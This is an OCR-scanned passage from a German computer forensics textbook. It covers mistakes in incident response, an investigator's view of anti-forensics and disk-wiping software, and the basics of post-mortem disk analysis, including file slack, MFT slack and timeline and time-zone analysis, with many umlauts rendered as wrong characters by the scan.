chend handelt. Sind gewisse Alarmierungs- bzw. Eskalationsprozedu-
ren ausgearbeitet und ist dokumentiert, welche Schritte einzuleiten
sind, konnen die richtigen Personen frithzeitig informiert und damit
die Ermittlungen schnell eingeleitet werden. Es darf nicht vergessen
werden, dass ein Notfall (und das kann ein Sicherheitsvorfall durchaus
sein) immer eine Ausnahmesituation darstellt und man immer mit
Ausnahmereaktionen der Mitarbeiter rechnen muss. Sind gewisse
Ablaufe fiur solche Krisensituationen niedergeschrieben, besteht die
Chance auf eine saubere und professionelle Abwicklung.

Unterschitzen der Tragweite des Vorfalls

In einigen Fillen kommt es leider oft auch zu einer Fehleinschitzung der
Tragweite des Sicherheitsvorfalls. Die Folgen, die ein kleiner System-
einbruch eventuell fir alle angrenzenden Systeme haben konnte, wer-
den dabei tibersehen. Dies gilt z.B. auch fiir die Folgen des Diebstahls
eines Auflendienst-Notebooks, das fiir einen Fernzugriff verwendet
werden kann. Einbriiche, die oberflachlich betrachtet nur der eigenen
Umgebung galten, konnten eine Ausstrahlung auf Systeme Dritter
haben. Die Pressemeldung, dass auf einem System der Organisation
eingebrochen wurde, ist unangenehm genug fiir diese Organisation.
Welcher Imageschaden aber entsteht, wenn es heift, dass iiber einen
Angriff auf diese Organisation die Systeme der Partner und Dritter
kompromittiert wurden? Der mogliche zivilrechtliche Schadensersatz-
prozess wiirde den Verantwortlichen der Organisation, die den Angriff
z.B. durch Fahrlissigkeit ermoglicht hat, erhebliche Probleme bereiten.
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Keine rechtzeitige Meldung iiber den Vorfall

Wie die folgenden Kapitel zeigen werden, ist es mitunter moglich,
unmittelbar nach einem erfolgten Angriff wesentliche Informationen
zu erfassen. Je linger man mit dem Start der Ermittlung wartet, desto
mehr Spuren konnen absichtlich oder zufillig unbrauchbar gemacht
werden. Sind die Administratoren nicht ausreichend fir die Problema-
tik sensibilisiert, werden sie fiir das Bemerken von Verdachtsmomen-
ten, dass ein Einbruch stattgefunden hat, mehr Zeit benétigen, als zur
Verfugung steht. Die Entscheidung, Kontakt zu einem externen oder
internen Ermittler aufzunehmen, kann zusitzlich dadurch verzogert
werden, dass die Entscheidungstrager im Unklaren gelassen werden.

Entscheidungstrager sind nicht oder nur unzureichend informiert

Eine weitere Fehlerquelle, die oft zu Verzogerungen bei der Ermittlung
fuhrt, ist die unzureichende Information der Entscheidungstriger.
Werden diese frithzeitig einbezogen, ist es mitunter moglich, rechtzei-
tig Business-Continuity-MafSnahmen einzuleiten und somit den Scha-
den einzuddmmen. Eine frithzeitige Information der richtigen Perso-
nen im Unternehmen ermoglicht es auch zu entscheiden, ob Anzeige
erstattet wird und wer tiberhaupt Kontakt zu den Polizeibehorden auf-
nehmen kann. Hier herrscht in den Unternehmen haufig Unklarheit.

Keine durchgidngige Dokumentation der durchgefiihrten Aktionen

Wenn nicht jede wesentliche Aktion der Beweissicherung so liickenlos
wie moglich dokumentiert ist, kann man eventuell zu einem spiteren
Zeitpunkt nicht mehr nachvollziehen, wie die Ermittler zu ihren Ent-
scheidungen und Einschitzungen gelangten. Der Dokumentation
sollte auch zur eigenen Absicherung entnommen werden konnen, dass
man alles unternommen hat, um den bereits entstandenen Schaden zu
begrenzen oder weiteren Schaden zu vermeiden.

Digitale Beweise sind unzureichend vor Veranderung geschiitzt

Sollen die gewonnenen Beweise fiir eine juristische Verfolgung heran-
gezogen werden, muss sichergestellt werden, dass keine unberechtigten
Personen Zugriff auf die entsprechenden Beweismittel hatten. Ebenso
diirfen die Beweismittel nicht verindert werden koénnen. Oft wird
leichtsinnig mit den erfassten Informationen umgegangen. Dies betrifft
besonders elektronische Beweise, da diese oft ohne die notigen Prif-
summen gespeichert werden. Treten spiter Zweifel an der Unver-
falschtheit eines Beweises auf, konnen alle darauf basierenden
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Anti-Detection vs.
Anti-Forensik

Erkenntnisse oder Schliisse in Mitleidenschaft gezogen werden. Wie
bereits erwahnt, kommt dem Schutz der Beweismittel eine wesentliche
Bedeutung zu. Dies ist besonders wichtig, da es sich in der Mehrheit
um elektronisch verfilschbare Informationen handelt, deren Integritit
zweifelsfrei sein muss. Oft werden diese Informationen ungeschiitzt
auf wiederbeschreibbaren Datentrigern oder gar in »Reichweite« des
angegriffenen Systems gespeichert. Ein besonderes Augenmerk sollte
auch auf die Mailkommunikation nach einem Sicherheitsvorfall gelegt
werden. Vertrauliche Informationen sollten niemals ungesichert tber-
tragen werden. Weiterhin sollte man immer daran denken, dass auch
die Mailserver kompromittiert sein konnten oder der Angreifer den
Netzverkehr belauschen konnte.

4,13 Anti-Forensik

Als Ermittler im Bereich der Computer-Forensik muss man sich auch
bewusst sein, dass Tatverdichtige versuchen, ihre Spuren zu verschlei-
ern oder die Datenanalyse zu behindern.

Sogenannte Anti-Forensik-Werkzeuge und -Technologien haben
zum Ziel, die Datensicherstellung bzw. -analyse zu behindern oder gar
unmoglich zu machen. Dies geschieht zum einen dadurch, dass fiir die
Aufkliarung relevante Informationen geloscht bzw. verandert werden
oder dass der Ermittler einfach nur abgelenkt oder aufgehalten werden
soll. Da diese Anti-Forensik-Technologien auch mit einfachen Mitteln
anwendbar sind bzw. entsprechende Werkzeuge frei verfiigbar sind,
sollte jeder Ermittlungsspezialist diese Technologien in den Grundzii-
gen verstehen. Dies versetzt ihn in die Lage, auch wenn keine verwert-
baren Spuren auf dem verdichtigen System mehr vorhanden sein soll-
ten, wenigstens den Einsatz von Anti-Forensik-Tools nachzuweisen.

Die Motivation zum Einsatz von Anti-Forensik-Werkzeugen oder -
Methoden liegt hauptsachlich darin, dem Administrator, dem origina-
ren Systemeigentiimer oder den Ermittlern vorzugaukeln, dass nichts
Verdichtiges stattgefunden hat. Computer-Forensik oder auch das
Erkennen von Sicherheitsvorfillen basiert haufig auf Erkennung von
Anomalien und Auffilligkeiten. Scheint das kompromittierte System
normal, wird niemand Verdacht schopfen und der Angriff bzw.das
Delikt bleiben bei oberflachlicher Betrachtung unbemerkt. Bei genaue-
rer Betrachtung kann zwischen Anti-Detection und Anti-Forensik
unterschieden werden: Wahrend bei der Anti-Detection Tat und Tater
unerkannt bleiben sollen, mochte der Angreifer bei der Anti-Forensik
die eigentliche Ermittlung behindern. Ein weiterer Grund fir Anti-
Forensik ist darin zu sehen, dass der Tater die Sammlung der relevan-



4.13 Anti-Forensik

103

ten Daten storen oder gar unterbinden mochte. Erreicht werden kann
dieses Ziel auch, wenn der Ermittler aufgehalten und von wesentlichen
Spuren abgelenkt wird. Dies ist besonders interessant, da gerade in gro-
B8en, viel beschiftigen Ermittlungseinheiten nur ein gewisses Zeitkon-
tingent fiir die Analyse zur Verfiigung steht und der Angreifer den
Ermittler eigentlich so lange aufhalten muss, wie die durchschnittliche,
oft vom Management vorgegebene Analysephase, pro Fall dauert. Ist
einem Titer bewusst, dass seine Taten auf Dauer nicht unentdeckt blei-
ben, oder will er sich auf eine mogliche Gerichtsverhandlung vorberei-
ten, kann es vorkommen, dass er versucht, Nebelgranaten zu werfen,
die als sehr offensichtliche Spuren in Erscheinung treten und die vom
Ermittler, der froh ist, innerhalb seines eigenen Zeitfensters tiberhaupt
etwas zu finden, zu leichtfertig aufgegriffen werden. Oft kann der Ver-
didchtige im Nachhinein plausible Erklarungen fiir den Sachverhalt fin-
den, deren Widerlegung durch den Ermittler weitere Analyseschritte
bediirft hitte. Einem mit dem betroffenen Betriebssystem nicht ver-
trauten, unerfahrenen Ermittler kann es mitunter auch passieren, dass
er die vielfaltigen alternativen Moglichkeiten des Zustandekommens
von digitalen Spuren nicht kennt und diese bei der Beweissicherstel-
lung oder Analyse nicht bedenkt. Somit kann es einem erfahrenen kri-
tischen Betrachter gelingen, Arbeitsweise und Integritit des unerfahre-
nen Ermittlers vor Gericht in Zweifel zu ziehen. Hat der Administrator
die Tragweite des Sicherheitsvorfalls am Anfang unterschitzt, wurde
wahrscheinlich eine liickenlose und manipulationssichere Sicherstel-
lung der Beweisspuren ebenso versiumt wie die Erstellung einer foren-
sischen Datentragerkopie.

Gerade bei komplexen mehrstufigen Angriffen oder lange vorbe-
reiteten Manipulationen von IT-Systemen mochte ein Angreifer im
Vorfeld herausfinden, ob, wie und mit welchen Forensik-Werkzeugen
die Ermittler arbeiten, natiirlich ist es fiir ihn auch von Interesse, in
welchen Netzbereichen sich die Ermittler befinden und wie die IP-
Adressen der Analysesysteme lauten.

Einige der verfiigbaren kommerziellen, aber auch der freien Com-
puter-Forensik-Werkzeuge, haben — vergleichbar mit anderen Soft-
wareprodukten — Bugs und Sicherheitsliicken. Hangt der Ermittler zu
stark von diesen Werkzeugen ab oder hat er keine Zeit oder Moglich-
keit, zusitzlich mit einem zweiten Werkzeug zu arbeiten, muss der
Angreifer eigentlich nur diese Werkzeuge attackieren, um die gesamte
Ermittlung zu torpedieren, den Ermittler zu frustrieren und den Zeit-
plan durcheinanderzubringen. Somit werden diese fehlerhaften Ermitt-
lungstools dann zum eigentlichen Angriffsziel. Arbeiten die Ermittler
nicht in geschiitzten Analyseumgebungen, kann ein Angriff moglicher-

Angriff auf Werkzeuge
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Verschleierungsmethoden

Datentrdger-
Loschsoftware

weise grofSen Schaden anrichten, der bis zur Vernichtung bzw. Kom-
promittierung von Ermittlungsergebnissen fuhren kann. Abgesehen
davon, dass der eigentliche Angriff unerkannt bleibt bzw. nicht aufge-
klart werden kann, konnte dies bei Bekanntwerden im Rahmen einer
spateren juristischen Wiirdigung der Ermittlungsergebnisse zu einem
erheblichen Vertrauensverlust fiihren. Der Angreifer mochte natiirlich
auch gern verschleiern, dass Anti-Forensik-Methoden zum Einsatz
kommen, um dem Ermittler keinen Hinweis auf die auf der Angreifer-
seite vorhandenen Fihigkeiten zu geben. Vermutet der Ermittler leicht-
sinnigerweise ein Script Kiddy oder einen unerfahrenen Angreifer,
wirde er wahrscheinlich nur oberfliachlich ermitteln.

Die einfachsten Anti-Forensik-Methoden (korrekterweise sind dies
eher Anti-Detection-Methoden) bediirfen keines grofSen Tooleinsatzes
und bestehen in der Regel darin, seine Gebrauchsspuren regelmafSig zu
16schen oder dafiir zu sorgen, dass diese gar nicht erst entstehen.

Ein anderer Trend ist darin zu sehen, dass Anwender, die vielleicht
im Verborgenen agieren wollen, vermehrt mit virtuellen Umgebungen
arbeiten, um somit ihre Werkzeuge und Aktivititen vor den Augen der
IT-Administration zu verstecken. Fir diese Zwecke kommen sowohl
von USB-Sticks oder anderen externen Medien bootbare Betriebssys-
teme als auch externe Speicher im Internet zum Einsatz.

Eine andere Gruppe von Werkzeugen, die unter bestimmten
Umstanden auch im Bereich Anti-Detection angesiedelt werden kann,
ist Datentrager-Loschsoftware. Diese Software dient urspriinglich
dazu, Dateien und Verzeichnisse vollstindig von einem Datentriger zu
entfernen, sodass sie nur mit unverhaltnismafSig hohem Aufwand wie-
derherstellbar wiren. Aus Griinden des Informationsschutzes ist dies
eine unbedingt zu empfehlende Sache. Geht es aber darum, herauszu-
finden, welche Daten von einem Verdichtigen von einer Festplatte
geloscht wurden, kann die Analyse extrem erschwert, in den meisten
Fillen ginzlich unmoglich sein, wenn derartige Software zum Einsatz
kam, da sie die auswertbaren Datenspuren zerstort. In diesen Fillen
bleibt dem Ermittler nur tibrig, zu beweisen, dass solche Datentriger-
Loschsoftware zum Einsatz gekommen ist. Dann miissen sich Erkennt-
nisse iiber die mehr als ein Dutzend verfiigbaren Loschsoftwarepro-
dukte gewinnen lassen. Ein sicheres Indiz fir die Verwendung von
Loschtechniken ist natiirlich der Nachweis des Vorhandenseins der
Software selbst. Zum einen hinterlassen diese Werkzeuge ausgiebig
Spuren wahrend der Installation beispielsweise unter Windows — wie
jede andere Windows-Software eben auch. Zum anderen erstellen
einige Loschsoftwareprodukte Ereignisprotokolle, die manchmal selbst
nach Deinstallation wiederherstellbar sind, da die Software zum siche-
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ren Loschen ja dann nicht mehr vorhanden ist. Sind diese Hinweise
auch nicht vorhanden, bleibt dem Ermittler nur ubrig, die typischen
Einsatzspuren der jeweiligen Loschsoftware zu finden. So arbeiten
gerade im privaten Bereich hdufig verwendete Loschsoftwareprodukte
eben nicht mit zufilligen Loschpattern, sondern hinterlassen im freien
Speicherbereich eindeutige Zeichenketten. Anhand dieser Zeichenket-
ten, die fiir das Uberschreiben der zu l6schenden Informationen ver-
wendet werden, liasst sich dann oft der Einsatz bestimmter Loschsoft-
warevarianten bestimmen. Zu guter Letzt arbeitet die meiste
Loschsoftware auch nicht so zuverlassig, dass sich nicht doch noch
Gebrauchsspuren des Anwenders finden lassen, da gerade unter Win-
dows an vielen Stellen Protokolle und Registry-Eintrage erstellt wer-
den. Hinzu kommt auch, dass viele Windows-Anwendungen Backup-
Dateien oder Arbeitskopien in temporiren Verzeichnissen anlegen, die
von der Loschsoftware auch nicht immer vollstindig erkannt und ent-
fernt werden und dann mit Computer-Forensik-Werkzeugen wie z.B.
File Carvern wiederhergestellt werden konnen.
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Post-mortem-Analyse

Eine Post-mortem-Analyse (P.m.-Analyse) findet statt, wenn Sie — wie
in Kapitel 4 beschrieben — ein forensisches Duplikat der betroffenen
Datentrager erstellt haben. Diese Kopien ermoglichen es Thnen, in Ruhe
und ohne Zeitdruck an der Beweissammlung zu arbeiten. Daten wer-
den hierbei weder modifiziert noch zerstort, da Sie auf Duplikaten
arbeiten. Diese Untersuchung findet offsite statt, das betroffene System
kann eventuell schon wieder mit sauberen Backups auf neuen Datentra-
gern! produktiv betrieben werden, wihrend die Analyse noch in vollem
Gang ist.

Die unterschiedlichen Aspekte, die bei der Post-mortem-Analyse
von Festplatten-Images von Interesse sind, werden wir uns im Folgen-
den fir Windows- und Unix-Systeme naher anschauen. Dabei werden
Sie folgende zu analysierende Bereiche kennen lernen: File Slacks, MAC-
Time, NTFS-Streams, versteckte, geloschte und unbekannte Dateien
sowie Systemprotokolle. Die Kenntnis dieser technischen Grundlagen
erleichtert das Verstandnis fiir die Arbeitsweise und die Ergebnisprasen-
tation der spater vorgestellten Werkzeuge.

5.1 Was kann alles analysiert werden?

Im Rahmen der Post-mortem-Analyse sollten als erster Schritt von der
forensischen Kopie so viele Beweisspuren wie moglich wiederherge-
stellt werden. Dies bedeutet, dass neben den vorhandenen Dateien alle
geloschten und umbenannten bzw. sonstwie versteckten Dateien auf-
gefunden und wiederhergestellt werden miussen. Das Gleiche gilt fur
verschliisselte Dateien. Es ist zwar nicht immer moglich, auf diese
Dateien vollstindig zuzugreifen, aber durch den Einsatz von Spezial-

1. Die Originaldatentriger sollten bis zur Klirung weiterer juristischer Schritte nicht
mehr verwendet werden. Alle Tatigkeiten nach Moglichkeit immer an der forensi-
schen Kopie durchfiihren.

Beweisspuren
wiederherstellen
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Suchindex erstellen

Hash-Wert erstellen

File Carving

Dateien kategorisieren

werkzeugen? kann zumindest der Versuch gestartet werden und in
einigen Ausnahmefillen ist man erfolgreich.

Als Nichstes sollte ein umfangreicher Suchindex erstellt werden,
der es einem Ermittler ermoglicht, innerhalb grofler Datenmengen
Informationen schnell aufzufinden. Da die Suche im Datentriger-
Image selbst sehr langsam sein kann, hat es sich bewihrt, einen Suchin-
dex aus lesbaren Zeichen zu erstellen. Die Suche in diesem Suchindex
geht wesentlich schneller. Hier bieten viele integrierte Forensik-Werk-
zeuge bereits halbwegs brauchbare Suchindexmoglichkeiten. Wichtig
ist hierbei, dass wirklich alle Bereiche indexiert werden: File Slack,
unbelegte und belegte Bereiche sowie Metadaten der Dateisysteme.
Normalerweise kann die Indexfunktion darauf trainiert werden, Zei-
chenketten mit einer bestimmten Anzahl von Buchstaben als Wort zu
interpretieren und in den Index aufzunehmen.

Damit sich der Ermittler die Suche erleichtert, hat es sich bewahrt,
von jeder gefundenen Datei einen Hash-Wert zu erstellen bzw. automa-
tisch erstellen zu lassen und diesen Wert dann mit Hash-Datenbanken
zu vergleichen. Hierbei kann man Black- oder Whitelisting betreiben.
Beim Whitelisting werden alle in der Hash-Datenbank enthaltenen und
bereits als harmlos klassifizierten Dateien ausgeblendet. Man kann bei-
spielsweise beim amerikanischen NIST oder diversen Forensik-Werk-
zeugherstellern Hash-Datenbanken mit bereits errechneten Hashes von
Anwendungen oder Betriebssystembestandteilen erwerben, denn diese
Daten interessieren den Ermittler auf den ersten Blick nicht. Ebenfalls
erhiltlich sind Hash-Datenbanken mit bekannten Angriffstools, die
dann beim Blacklisting-Ansatz sofort identifiziert werden konnen.

Ein weiterer wesentlicher Analyseschritt ist das sogenannte File
Carving (siehe weiter unten). Dabei werden, gefiltert oder ungefiltert,
alle lesbaren vorhandenen oder auch geloschten Dateien oder deren
Fragmente vom forensischen Datentriger-Image wiederhergestellt. Die
vorhandenen Dateien werden aus den belegten Speicherbereichen, die
vermeintlich gel6schten Dateien oder deren Fragmente aus den unbe-
legten Speicherbereichen oder den Slack-Bereichen wiederhergestellt.

Je nach Fragestellung mag es hilfreich sein, die gefundenen oder
auch bereits wiederhergestellten Dateien nach deren Typ zu kategori-
sieren (Grafik-, Office-, ZIP-, Maildateien etc.). Der Auftraggeber der
Analyse kann dann einfach anhand der gefundenen Dateien weitere
Analyseschritte beauftragen.

2. Access Data Password Recovery Toolkit oder Elcomsoft’s Forensic Password Reco-
very
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Es gibt an vielen Stellen eines Betriebssystems Fundorte fiir
Gebrauchsspuren oder Hinweise auf Auffilligkeiten. Diese Stellen soll-
ten grundsatzlich aufgesucht und analysiert werden. Hierzu sollten alle
Datentrigerbereiche in die Suche einbezogen werden. Im weiteren Ver-
lauf dieses Kapitels werden Datentragerbereiche vorgestellt, die nur
mit Spezialwerkzeugen gelesen werden konnen. Dies betrifft besonders
die scheinbaren Speicherbereiche, wie beispielsweise den File Slack, die
Master File Table, den Alternate Data Stream, die Volume-Shadow-
Kopien, die NTFS- und Registry-Transaktionslogs — einfach alles.

Viele der in diesem Kapitel genannten Analyseschritte lassen sich
automatisieren oder sind in integrierten Forensik-Werkzeugen bereits
als automatisierte Tasks enthalten. Haufig lassen sich diese Tatigkeiten
auch uber Skripte anstofsen und sollten als Erstes gestartet werden,
wenn man als Ermittler noch keine genauen Vorstellungen von den zu
erwartenden Ergebnissen hat. Die Auswertung dieser automatisierten
Tasks kann dann oft die ersten Hinweise geben.

5.2 Analyse des File Slack

Der File Slack kann fiir den Ermittlungsverlauf wesentliche Informati-
onen enthalten. Dies liegt in der Besonderheit einiger Dateisysteme
begriindet, die im Folgenden niher beschrieben werden. Wenn eine
Datei erstellt wird, hingt ihre Grofse vom Dateiinhalt ab. Aus Griin-
den der Effektivitat wird diese Datei auf Datentrdgern in sogenannten
Datenblocken gespeichert.

Diese Blocke haben eine feste Liange und werden Sektoren
genannt. Sektoren sind die kleinste Speichereinheit auf einem Daten-
triager. Diese Sektoren werden erstellt, wenn der Datentrager Low-
Level-formatiert wird (durch den Hersteller oder iiber eine BIOS-
Funktion).

Alle Microsoft-Betriebssysteme speichern Daten in festen Block-
langen, die Cluster genannt werden. Cluster bilden sich unter Win-
dows also aus Gruppen von Sektoren. Cluster werden bei der Forma-
tierung des Datentrigers durch das Betriebssystem erstellt — die
sogenannte High-Level-Formatierung. Wird also eine Datei auf einem
Datentrager gespeichert, stimmt in den meisten Fillen der Inhalt der
Dateien nicht exakt mit der Grofle der Cluster tiberein. Der freie Platz
innerhalb eines Clusters vom Ende der Datei bis zum Ende des letzten
zugewiesenen Clusters wird als File Slack bezeichnet. Wenn die Datei
geschrieben wird, fullt das Betriebssystem den File Slack mit zufilligen
Daten auf.

Spezielle Bereiche des
Datentréigers analysieren

Sektoren

Cluster
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Abb. 5-1

Die Dateieigenschaften
zeigen, dass diese 9 Byte
grof3e Datei 4 KB auf der
Platte belegt: Der File
Slack ist in diesem Fall also
4087 Byte groB3.

RAM Slack

Cluster-GrofSen variieren abhingig vom verwendeten Betriebssys-
tem. Sie konnen sowohl aus einem als auch aus bis zu 128 Sektoren
bestehen. Bei einigen dlteren Windows-Systemen hingt dies z.B. von
der GrofSe der logischen Partitionen ab. GrofSere Cluster haben gro-
Bere File-Slack-Bereiche zur Folge, was aus Anwendersicht bei diesen
Systemen Platzverschwendung bedeutet. Diese Designschwache in
einigen Dateisystemen hat fiir die forensische Ermittlung jedoch einen
ernormen Nutzen, da gerade in diesen File Slacks wesentliche interes-
sante Informationen und Datenspuren zu finden sind, die einem nor-
malen Anwender in der Regel verborgen bleiben.

i
Algemein | Sicherheit | Dateindo |
Iﬂj [ates o
Datestyp: Microsolt Word-Dokument
Ofiven i [w] Microsolt Office Word Apcden
9 Byt= (9 Bytes)
400 KB [4.096 Bptes)
Erstelt: Samstag, 31 Jaruar 2004, 102359
Gesndert am Samstag. 31 Jaruar 2004, 10 2359
o Heule, 31 Msi 2005, 103148
Alhibute: I" Schiebgeschiitz Enweitest...
I~ Wetsteckt
[ ok | asteechen | Obernetiren |

Der File Slack kann beispielsweise Fragmente des Hauptspeichers ent-
halten. Dies kann vorkommen, da DOS und einige Windows-Systeme
(z.B. bei FAT) in 512 Byte grofSe Blocke schreiben. Sind nicht mehr
genug Daten in der Datei enthalten, um den letzten Sektor dieser Datei
vollends zu fiillen, fiigt Windows dem Rest dieses Sektors wahllos
Daten aus dem Memory Buffer des Betriebssystems hinzu. Diese zufil-
lig ausgewahlten Daten werden auch als RAM Slack bezeichnet, da die
Daten direkt aus dem RAM des Systems stammen. Dieser RAM Slack
kann demzufolge Informationsfragmente enthalten, die seit dem letz-
ten Boot des Computers entstanden sein konnen, z.B. wihrend der
Bearbeitung eines Dokuments oder des Besuchs einer Webseite. In Ext-
remfillen konnen dies auch sensible Informationen sein, die nur wah-
rend der Bearbeitung im RAM unverschlisselt vorliegen, z.B. Pass-
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worter. Wenn der Computer mehrere Tage nicht heruntergefahren
wurde, konnen die Daten, die im File Slack gefunden werden, auch aus
verschiedenen Arbeitssitzungen stammen.

RAM Slack lasst sich nur im letzten Sektor einer Datei finden.  Drive Slack
Werden zusatzliche Sektoren benotigt, um die BlockgrofSe des letzten
Clusters fiir eine Datei zu erreichen, wird ein weiterer Slack gebildet.
Dieser wird Drive Slack genannt und in den iibrigen Sektoren gespei-
chert, die vom Betriebssystem benotigt werden, um den letzten Cluster
einer Datei zu erstellen. Anders als der RAM Slack, der Bestandteile
des Hauptspeichers enthilt, werden beim Drive Slack Auffilldaten
verwendet, die sich vorher bereits auf der Festplatte befunden haben.
Diese Daten enthalten Fragmente von geloschten Dateien oder Infor-
mationen aus unallozierten Bereichen des Datentrigers.

Der File Slack wird zu dem Zeitpunkt erzeugt, wenn die Datei auf
den Datentriger geschrieben wird. Wird eine Datei unter Windows
geloscht, bleiben die Datenfragmente, die sich innerhalb des RAM
oder File Slack befanden, in dem Cluster erhalten, der zuvor dem Ende
der geloschten Datei zugeordnet war. Die Cluster, die dieser Datei
zugewiesen waren, werden vom Betriebssystem wieder freigegeben
und bis zum nichsten Uberschreiben mit Daten einer neuen Datei als
unallozierter Bereich auf dem Datentriger erhalten.

Letzter Cluster einer Datei Abb. 5-2
( A Y File Slack=RAM Slack +
F|Ieilack Drive Slack
( Drive Slack \
A
( )
S1 S2 S3 S4 S5 S6 S7 S8

Sektor 5 des Clusters
A

S5

.

RAM Slack

EOF
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Master File Table

MFT Slack

Bedeutung fiir die
Computer-Forensik

GréBe des File Slack

Die Master File Table (MFT) stellt das Herz der NTFS-Dateistruktur
dar. Es handelt sich hierbei um eine spezielle Systemdatei, die eigent-
lich eine Art Datenbank ist, die die Informationen aller Dateien und
Verzeichnisse des Laufwerks enthilt. Wie jede andere Datenbank stellt
die MFT eine Sammlung von Records dar. Fiir jede Datei und jedes
Verzeichnis des NTFS-Laufwerks existiert mindestens ein Record.
Jeder Record ist 1.024 Byte lang und enthalt Informationen — auch
Attribute genannt —, die dem Betriebssystem mitteilen, wie mit der
zugehorigen Datei oder dem Verzeichnis umzugehen ist. Aus forensi-
scher Sicht ist interessant, dass manchmal zusitzlich zu den Attributen
auch Fragmente der zugehorigen Datei in der MFT abgelegt sind. In
der MFT findet sich ebenfalls ein Zeitstempel, der das Datum der letz-
ten Anderung der Attribute enthilt.

Ein weiterer interessanter Fakt ist, dass man bei diesen Daten kei-
nen File Slack findet, da sie ja nicht in einem Cluster gespeichert wer-
den, sondern innerhalb der MFT. Wenn die Daten allerdings kleiner als
die 1.024 Byte eines Record sind, kann der tiberschiissige Bereich Frag-
mente von alten Dateien enthalten. Dieser Bereich wird MFT Slack
genannt. Es ist wichtig zu wissen, dass dieser Bereich zusitzlich zum
allgemein bekannten File Slack existiert und bei einer Analyse mit aus-
gewertet werden sollte.

Aus Sicht der Computer-Forensik ist es wichtig, die Bedeutung des
File Slack fur die Ermittlung richtig einzuschatzen. Da der File Slack
moglicherweise zufillige Hauptspeicherinhalte des Computers enthilt,
ist es durchaus denkbar, darin moglicherweise Login-Daten mit Pass-
wortern oder andere im Zusammenhang mit der Computeranwen-
dung stehende sensible Informationen zu finden. Hiufig finden sich im
File Slack Informationen iiber die gerade im Hauptspeicher aktiven
Programme und deren geoffnete Dateien oder auch gerade betrachtete
Webseiten. Der File Slack kann weiterhin dahin gehend analysiert wer-
den, herauszufinden, wofiir der Computer in der vergangenen Zeit
moglicherweise verwendet wurde. Diese Informationen konnten das
fehlende Mosaiksteinchen in einer Ermittlung liefern.

Es spricht fur die Bedeutung dieser Analyse, dass bei einer gut
gefillten, grofSeren Festplatte mit ca. 80 GB der File Slack oft mehrere
Hundert Megabyte Daten enthalten kann. Fragmente von vermeintlich
geloschten Textdokumenten oder E-Mails lassen sich dort finden. Es
sollte auflerdem noch erwiahnt werden, dass sich der File Slack nicht
nur auf Festplatten, sondern auch auf Disketten, Zip Drives oder ande-
ren externen Datentrdagern finden ldsst.

Das immer noch hiufig unter Linux verwendete Dateisystem ext2
speichert Daten in Blocken und bildet auch Slack-Bereiche, wenn die
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gespeicherten Dateien weniger als 1, 2 oder 4 KB der Dateisystem-Blo-
cke verwenden. Hier konnen ebenso wie unter Windows Datenfrag-
mente gefunden werden, allerdings wird dazu iibergegangen, echte
Zufallswerte zum Auffiillen zu verwenden.

Im File Slack lassen sich vom Angreifer geléscht geglaubte Informationen
finden. Hierzu gehéren Hauptspeicherinhalte oder bereits vorher auf dem
System geldschte Datenfragmente.

5.3 Timeline-Analysen

Timeline-Analysen sind oft der erste Ansatzpunkt, um Vorgange auf
einem kompromittierten System nachzuvollziehen. Bei der Timeline-
Analyse werden Zeitstempel ausgewertet, die sowohl im Dateisystem
zu finden sind als auch durch diverse Artefakte des Betriebssystems
oder Anwendungen erstellt werden. Der Ermittler mochte als Ergebnis
der Timeline-Analyse wissen, zu welchem Zeitpunkt welches Ereignis
auf dem System stattgefunden hat und welche Benutzerkennung dieses
Ereignis ausgelost hat. Die Ergebnisse der Timeline-Analysen koénnen
sehr gut fiir die Plausibilisierung von Angaben verwendet werden. Die
grofSe Anzahl von auswertbaren Zeitstempeln eines kompromittierten
Systems hat einen hohen Beweiswert, da diese automatisch erstellt wer-
den und deren vollstindige Manipulation fur den durchschnittlichen
Titer oft recht komplex ist.

Es gibt unterschiedliche Fundorte fiir Zeitstempel, die in diesem
Kapitel niher erldutert werden sollen. Zum einen finden sich im Datei-
system selbst ausfiihrliche Zeitstempelinformationen, zum anderen ent-
halten die einzelnen im Dateisystem gespeicherten Dateien unterschied-
liche Metadaten, z.B. aus Office-Dokumenten, die Riickschlisse auf
zeitliche Zusammenhinge geben. Die dritte Quelle sind Zeitstempel,
die sich aus Anwendungen ermitteln lassen. Alle diese Zeitstempel mis-
sen in Zusammenhang gebracht werden. Dabei ist es besonders wichtig
zu wissen, in welchem Format und in welcher Zeitzone> die einzelnen
Zeitstempel tatsdchlich geschrieben werden, damit man nachher auch
wirklich etwas damit anfangen kann. Gerade einige Office-Dateifor-
mate speichern nicht durchgingige Zeitstempel in der korrekten Zeit-
zone ab. Unter Windows sollte unbedingt der entsprechende Registry
Key ausgelesen werden, unter Unix/Linux und Mac OS die entspre-
chenden Konfigurationsparameter.

3. Ein Zeitzonenkonverter findet sich unter
http:/fwww.timeanddate.comfworldclock/converter.html.

Zeitliche
Zusammenhdnge im
Betriebssystem darstellen



114

5 Einfiihrung in die Post-mortem-Analyse

Zeitzonenkonfiguration
finden

Unter Windows finden sich die wesentlichen Zeitkonfigurations-
parameter in den Registry Keys HKLM\CurrentControlSet\Con-
troN\TimeZonelnformation\ActiveTimeBias.

Bei Linux hangt der Ort der Zeitzonenkonfiguration auch von der
Distribution ab, grundsitzlich sind dies aber zwei Orte. Die erste Kon-
figurationsstelle ist eine Datei, die sich im Verzeichnis /etc befindet:
letc/timezone heif$ sie unter Ubuntu (Debian), /etc/sysconfig/clock bei
Red-Hat-Derivaten wie z.B. Fedora bzw. CentOS. Die zweite Konfigu-
rationsdatei ist /etc/localtime. Hierbei handelt es sich um eine Binir-
datei, die Zeitzoneninformationen enthilt, die aus /usr/share/zoneinfo
stammen. Bei laufendem System produziert die Eingabe des Befehls
date in der Regel auch die aktuelle Zeitzonenangabe.

Das Identifizieren und Dokumentieren der Zeit(zonen)konfigura-
tion des kompromittierten Systems gehort zu einer der ersten Aufga-
ben bei einer Computer-forensischen Analyse. Wichtig ist auch in die-
sem Zusammenhang, ob das System automatisch auf Sommer- bzw.
Winterzeit umgestellt wurde. Da die Uhrzeiten des kompromittierten
Systems bzw. des Systems, dessen zentrale Logdateien ebenfalls zur
Analyse verwendet werden, nicht synchron sein konnten, sollte man
sich als Ermittler auf eine Referenzzeit festlegen, gegen die dann immer
alle Differenzen normalisiert werden. Es hat sich hierbei auch schon
bewihrt, die Google-Zeit zu nehmen, die in einem auf dem System
befindlichen Google-Cookie gespeichert ist. Google-Cookies haben im
Wert TM die Uhrzeit im Unix-Format®.

Informationen zu den unterschiedlichen Zeitzonen

In der mitteleuropéischen Zeitzone ist die Normalzeit die Mitteleuropéische
